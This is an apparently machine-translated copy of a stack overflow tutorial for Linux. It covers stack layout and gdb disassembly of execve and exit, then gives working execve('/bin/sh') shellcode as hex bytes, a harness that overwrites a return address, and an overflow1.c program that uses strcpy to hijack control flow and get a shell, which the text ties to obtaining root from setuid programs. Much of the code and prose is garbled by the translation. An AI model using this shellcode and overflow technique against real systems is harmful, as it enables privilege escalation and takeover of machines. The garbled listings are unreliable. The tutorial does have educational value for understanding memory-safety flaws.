Stack Overflow Lecture Series

Source: Internet
Author: User

Stack Overflow Lecture Series

Preface: obtaining root permissions through stack overflow is a fairly common hacking technology currently used. In fact, this is the preferred attack method after a hacker has a basic account in the system. He is also widely used in remote attacks. The technology of remotely obtaining rootshell through stack overflow of daemon processes has been implemented by many instances. Stack Overflow also exists in windows systems. Moreover, with the popularity of the internet, there are more and more internet service programs on the win series platform. Low-Level win programs will become a fatal injury to your system. Because they will also be remote stack overflow, and because of the lack of security awareness among win system users and managers, the stack overflow on a win system can be exploited maliciously, this will cause the entire machine to be controlled by the enemy. In turn, the entire LAN may fall into the enemy's hand. This series of lectures will systematically introduce Stack Overflow mechanisms, principles, applications, and preventive measures. I hope you can understand and master this technology through my lecture. In addition, they will find stack overflow vulnerabilities to improve system security. Introduction to the stack overflow series: First, you should be familiar with intel assembly language and register composition and functions. You must have basic knowledge about stack and storage allocation. There are many computer books related to this. I will simply elaborate on the principles and focus on applications. Next, you should understand linux. In this lecture, our example will be developed on linux.

1: first, review the basic knowledge. Physically, a stack is a memory space allocated continuously. Various variables are declared in a program. Static global variables are located in the Data Segment and loaded when the program starts running. Dynamic local variables of the program are allocated to the stack. In terms of operation, the stack is a queue that comes first and then goes out. The growth direction is the opposite to that of memory. We specify that the memory growth direction is up, and the stack growth direction is down. Stack Operation push = ESP-4, the operation is pop = ESP + 4. In other words, the stack in the old value, its memory address, but greater than the new value. Keep this in mind, because this is the basic theoretical basis for Stack Overflow. In the callback function call, the stack will be pushed in sequence: parameters, return address, and EBP. If a function has a local variable, the corresponding space is opened in the stack to construct the variable. When the function execution ends, the content of these local variables will be lost. But not cleared. When the function returns, the EBP is displayed, the stack is restored to the function call address, and the return address to the EIP is displayed to continue executing the program. In C language programs, the parameter pressure stack order is reversed. For example, func (a, B, c ). When the parameter is imported into the stack, it is: first press c, then press B, and finally. when taking the parameters, because the stack first goes in and then out, take a at the top of the stack, then B, and finally take c. (PS: if you do not understand the above summary, please read the stack books. General Assembly language books will discuss the stack in detail and you must understand it, you can perform the following learning)

2: Okay. Continue. Let's see what Stack Overflow is.

2.1: the stack allocation Stack Overflow during running is that excessive data is written to the data block regardless of the size of the partial data block allocated in the stack, leading to data out of bounds. The result overwrites the old stack data. For example, program 1: # include int main () {char name [8]; printf ("Please type your name:"); gets (name ); printf ("Hello, % s! ", Name); return 0;} compile and execute. Input ipxodi to output Hello, ipxodi !. How is the stack operated when the program is running? When the main function starts to run, the stack will be placed in the return address and EBP in sequence. We use gcc-S to obtain assembly language output. We can see that the start part of the main function corresponds to the following statement: pushl % ebp movl % esp, % ebp subl limit, % esp first saves the EBP, and then EBP is equal to the current ESP, so that EBP can be used to access the local variables of this function. After that, ESP minus 8, that is, the stack increases by 8 bytes to store the name [] array. The current STACK layout is as follows: name EBP ret at the bottom of the memory <------ [] [] [] ^ & name: After gets (name) is executed at the bottom of the stack at the top of the stack, the stack is as follows: name EBP ret at the top of the memory at the bottom of the memory <------ [ipxodi \ 0] [] [] ^ & name at the bottom of the stack at the top of the stack, and return the main. The address in ret is displayed and assigned to the EIP, the CPU continues to execute the commands pointed to by the EIP.

2.2: Stack Overflow is good, and everything looks smooth. Run the following command again, input ipxodiAAAAAAAAAAAAAAA, and run gets (name). The stack is as follows: name EBP ret at the bottom of the memory <------ [ipxodiAA] [AAAA] [AAAA] ...... ^ & name: because the name string we entered at the top of the stack is too long to accommodate the name array, we have to write 'A' to the top of the memory '. Because the stack growth direction is opposite to the memory growth direction, these 'A' overwrites the old elements of the stack. We can find that EBP and ret have been overwritten by 'A. When main returns, the 'aaa' ASCII code: 0x4141414141 is used as the return address. The CPU tries to execute the command at 0x41414141 and the result is incorrect. This is a stack overflow.

3: How to Use Stack Overflow we have created a stack overflow. The principle can be summarized as follows: Because the string processing functions (gets, strcpy, and so on) do not monitor and limit the array out-of-bounds, we use the character array to write out-of-bounds and overwrite the value of the old element in the stack, you can modify the return address. In the preceding example, this causes the CPU to access a non-existent command and the result is incorrect. In fact, when the stack overflows, we have completely controlled the next action of this program. If we overwrite the returned address with an actual instruction address, the CPU will execute our instruction instead. In the UINX system, our command can execute a shell, which will obtain the same permissions as the program that is overflows by our stack. If this program is set UID, we can get the root shell.

How to Write a shell code

I. shellcode basic algorithm analysis in a program, a shell program is written as follows: shellcode. c.


# Include void main () {char * name [2]; name [0] = "/bin/sh"; name [1] = NULL;

Execve (name [0], name, NULL );}


The execve function will execute a program. He needs the program name address as the first parameter. A pointer array with content of argv [I] (argv [n-1] = 0) of the program serves as the second parameter, and (char *) 0 serves as the third parameter.

Let's take a look at execve's assembly code: [nkl10] $ gcc-o shellcode-static shellcode. c

[Nkl10] $ gdb shellcode (gdb) disassemble _ execve

Dump of worker er code for function _ execve:

0x80002bc <__execve>: pushl % ebp;

0x80002bd <__execve + 1>: movl % esp, % ebp; above is the function header.

0x80002bf <__ execve + 3>: pushl % ebx; save ebx

0x80002c0 <__execve + 4>: movl release xb, % eax; eax = 0xb, eax indicates the number of system calls.

0x80002c5 <__execve + 9>: movl 0x8 (% ebp), % ebx; ebp + 8 is the first parameter "/bin/sh \ 0"

0x80002c8 <__execve + 12>: movl 0xc (% ebp), % ecx; ebp + 12 is the address of the second parameter name array.

0x80002cb <__execve + 15>: movl 0x10 (% ebp), % edx; ebp + 16 is the address of the third parameter NULL pointer.

Name [2-1] is NULL, used to store the return value. 0x80002ce <__execve + 18>: int limit x80

Execve 0x80002d0 <__ execve + 20>: movl % eax, % edx

The processing of the returned values is useless. 0x80002d2 <__execve + 22>: testl % edx, % edx

0x80002d4 <__ execve + 24>: jnl 0x80002e6 <__ execve + 42>

0x80002d6 <__ execve + 26>: negl % edx

0x80002d8 <__ execve + 28>: pushl % edx

0x80002d9 <__ execve + 29>: call 0x8001a34 <__ normal_errno_location>

0x80002de <__execve + 34>: popl % edx

0x80002df <__execve + 35>: movl % edx, (% eax)

0x80002e1 <__ execve + 37>: movl running xffffffff, % eax

0x80002e6 <__execve + 42>: popl % ebx

0x80002e7 <__execve + 43>: movl % ebp, % esp

0x80002e9 <__ execve + 45>: popl % ebp 0x80002ea <__ execve + 46>: ret

0x80002eb <__execve + 47>: nop End of runner dump.

After the above analysis, we can obtain the following simplified command algorithm: movl $ execve system call number, % eax movl "bin/sh \ 0" Address, % ebx

Movl name array address, % ecx movl name [n-1] address, % edx int limit x80; execve)

After execve is successfully executed, the program shellcode will exit and/bin/sh will continue to be executed as a sub-process. However, if execve fails to be executed (for example, there is no/bin/sh file), the CPU will continue to execute subsequent commands and the results will not know where to go. Therefore, an exit () system call must be executed to end the execution of shellcode. c.

Let's take a look at the compilation code of exit (0): (gdb) disassemble _ exit

Dump of worker er code for function _ exit: 0x800034c <_ exit>: pushl % ebp

0x800034d <_ exit + 1>: movl % esp, % ebp 0x800034f <_ exit + 3>: pushl % ebx

0x8000350 <_ exit + 4>: movl ready x1, % eax; 1 system call

0x8000355 <_ exit + 9>: movl 0x8 (% ebp), % ebx; ebx is the parameter 0

0x8000358 <_ exit + 12>: int limit x80; System Call

0x800035a <_ exit + 14>: movl 0 xfffffffc (% ebp), % ebx

0x800035d <_ exit + 17>: movl % ebp, % esp

0x800035f <_ exit + 19>: popl % ebp 0x8000360 <_ exit + 20>: ret

0x8000361 <_ exit + 21>: nop 0x8000362 <_ exit + 22>: nop

0x8000363 <_ exit + 23>: nop End of assembler dump. It seems that the compilation code of exit (0) is simpler:

Movl limit x1, % eax; 1 System Call movl 0, % ebx; ebx is exit parameter 0 int limit x80; System Call

To sum up, the merged assembly code is: movl $ execve system call number, % eax movl "bin/sh \ 0" Address, % ebx

Movl name array address, % ecx movl name [n-1] address, % edx int limit x80; execve)

Movl limit x1, % eax; 1 System Call movl 0, % ebx; ebx is the exit parameter 0 int limit x80; Execute system call (exit)

2. Implement a shellcode

Okay. Let's implement this algorithm. First, we must have a string "/bin/sh" and a name array. We can construct them, but how do we know their addresses in shellcode? Every time a program is dynamically loaded, the address of the string and name array is not fixed.

Through the combination of JMP and call, hackers cleverly solved this problem.


The offset address of jmp call #2 bytes popl % esi #1 byte // popl is the string address.

Movl % esi, array-offset (% esi) #3 bytes // construct the name array at string + 8,

// Name [0] specifies the string address.

Movb defaults x0, nullbyteoffset (% esi) #4 bytes // put 0 at string + 7 as the end of string.

Movl limit x0, null-offset (% esi) #7 bytes // name [1] Put 0.

Movl release xb, % eax #5 bytes // eax = 0xb is the execve syscall code.

Movl % esi, % ebx #2 bytes // address of ebx = string

Leal array-offset, (% esi), % ecx #3 bytes // ecx = start address of the name array

Leal null-offset (% esi), % edx #3 bytes // edx = name [1] address

Int bytes x80 #2 bytes // int 0x80 is sys call

Movl limit x1, % eax #5 bytes // eax = 0x1 is the exit syscall code

Movl defaults x0, % ebx #5 bytes // ebx = 0 is the return value of exit

Int bytes x80 #2 bytes // int 0x80 is sys call

Call popl offset address #5 bytes // put the call here, and the string address will be // pressure stack for the returned address. /Bin/sh string


First, use the relative address of JMP to jump to the call. After the call command is executed, the address of the string/bin/sh will be pushed into the stack as the return address of the call. Now, go to popl esi and obtain the real address of the string from the string address just pushed into the stack. Then, 0 is assigned to the first byte of the string as the end of the string. The next 8 bytes construct the name array (two integers, eight bytes ).

We can write shellcode. Write the Assembly source program first. Shellcodeasm. c


Void main () {_ asm _ ("jmp 0x2a #3 bytes popl % esi #1 byte

Movl % esi, 0x8 (% esi) #3 bytes movb ready x0, 0x7 (% esi) #4 bytes

Movl ready x0, 0xc (% esi) #7 bytes movl ready xb, % eax #5 bytes movl % esi, % ebx #2 bytes

Leal 0x8 (% esi), % ecx #3 bytes leal 0xc (% esi), % edx #3 bytes int limit x80 #2 bytes

Movl limit x1, % eax #5 bytes movl limit x0, % ebx #5 bytes int limit x80 #2 bytes

Call-0x2f #5 bytes. string \ "/bin/sh \" #8 bytes ");}


After compilation, use the gdb B/bx [address] command to obtain the hexadecimal representation. Below, write the test program as follows: (Note that this test program is the basic program for testing shellcode)

Test. c ------------------------------------------------------------------------

------ Char shellcode [] =

"\ Xeb \ x2a \ x5e \ x89 \ x76 \ x08 \ xc6 \ x46 \ x07 \ x00 \ xc7 \ x46 \ x0c \ x00 \ x00 \ x00"

"\ X00 \ xb8 \ x0b \ x00 \ x00 \ x00 \ x89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80"

"\ Xb8 \ x01 \ x00 \ x00 \ x00 \ xbb \ x00 \ x00 \ x00 \ x00 \ xcd \ x80 \ xe8 \ xd1 \ xff"

"\ Xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x00 \ x89 \ xec \ x5d \ xc3"; void main () {int * ret;

Ret = (int *) & ret + 2; // ret is equal to the return address of main () // (+ 2 is because pushl ebp exists; otherwise, you can add 1 .)

(* Ret) = (int) shellcode; // modify the return address of main () to the starting address of shellcode. }



[Nkl10] $ gcc-o test. c [nkl10] $./test $ exit [nkl10] $


We store the shellcode through a shellcode array. When we put the program (test. c) when the returned address ret is set to the starting address of the shellcode array, the program will execute our shellcode when returning, thus we get a shell.

Run the result and get the bsh prompt $, indicating that a shell is successfully opened.

It is necessary to explain that we put shellcode as a global variable in the data segment rather than as a piece of code. In the operating system, the content of a program code segment has read-only attributes. It cannot be modified. In our code, movl % esi, 0x8 (% esi) and other statements modify part of the code, so they cannot be placed in the code segment.

Is This shellcode okay? Unfortunately, it is a little worse. In retrospect, the key to stack overflow lies in the overwrite of the string array. However, when processing strings such as gets and strcpy"

End with a string. The write operation ends when \ 0 is met. Our shellcode string contains a large number of \ 0 characters. Therefore,

For gets (name), the shellcode above is not feasible. Our shellcode cannot contain \ 0 characters. Therefore, some commands need to be modified:

Old commands new commands --------------------------------------------------------

Movb export x0, 0x7 (% esi) xorl % eax, % eax molv export x0, 0xc (% esi) movb % eax, 0x7 (% esi)

Movl % eax, 0xc (% esi )--------------------------------------------------------

Movl release xb, % eax movb release xb, % al


Movl limit x1, % eax xorl % ebx, % ebx movl limit x0, % ebx movl % ebx, % eax inc % eax

-------------------------------------------------------- The final shellcode is:


Char shellcode [] = 00 "\ xeb \ x1f"/* jmp 0x1f */02 "\ x5e"/* popl % esi */

03 "\ x89 \ x76 \ x08"/* movl % esi, 0x8 (% esi) */06 "\ x31 \ xc0"/* xorl % eax, % eax */

08 "\ x88 \ x46 \ x07"/* movb % eax, 0x7 (% esi )*/

0b "\ x89 \ x46 \ x0c"/* movl % eax, 0xc (% esi) */0e "\ xb0 \ x0b"/* movb using xb, % al */

10 "\ x89 \ xf3"/* movl % esi, % ebx */12 "\ x8d \ x4e \ x08"/* leal 0x8 (% esi ), % ecx */

15 "\ x8d \ x56 \ x0c"/* leal 0xc (% esi), % edx */18 "\ xcd \ x80"/* int sans x80 */

1a "\ x31 \ xdb"/* xorl % ebx, % ebx */1c "\ x89 \ xd8"/* movl % ebx, % eax */

1e "\ x40"/* inc % eax */1f "\ xcd \ x80"/* int sans x80 */

21 "\ xe8 \ xdc \ xff"/* call-0x24 */

26 "/bin/sh";/*. string \ "/bin/sh \"*/


3. Use stack overflow to get the shell. Now we have created a stack overflow and written a shellcode. All preparations have been completed,

We combine the two to write a program that uses stack overflow to obtain the shell. Overflow1.c


Char shellcode [] =

"\ Xeb \ x1f \ x5e \ x89 \ x76 \ x08 \ x31 \ xc0 \ x88 \ x46 \ x07 \ x89 \ x46 \ x0c \ xb0 \ x0b"

"\ X89 \ xf3 \ x8d \ x4e \ x08 \ x8d \ x56 \ x0c \ xcd \ x80 \ x31 \ xdb \ x89 \ xd8 \ x40 \ xcd"

"\ X80 \ xe8 \ xdc \ xff/bin/sh"; char large_string [128]; void main (){

Char buffer [96]; int I; long * long_ptr = (long *) large_string;

For (I = 0; I <32; I ++) * (long_ptr + I) = (int) buffer;

For (I = 0; I <strlen (shellcode); I ++) large_string [I] = shellcode [I];

Strcpy (buffer, large_string );}


After strcpy is executed, the stack content is as follows: buffer EBP ret at the top of the memory bottom

<------ [SSS... SSSA] [A] [A] A... A ^ & buffer stack top stack bottom Note: S indicates shellcode.

A Indicates the shellcode address. In this way, overflow is executed after strcpy is executed. C extracts A from ret as the return address and executes our shellcode.


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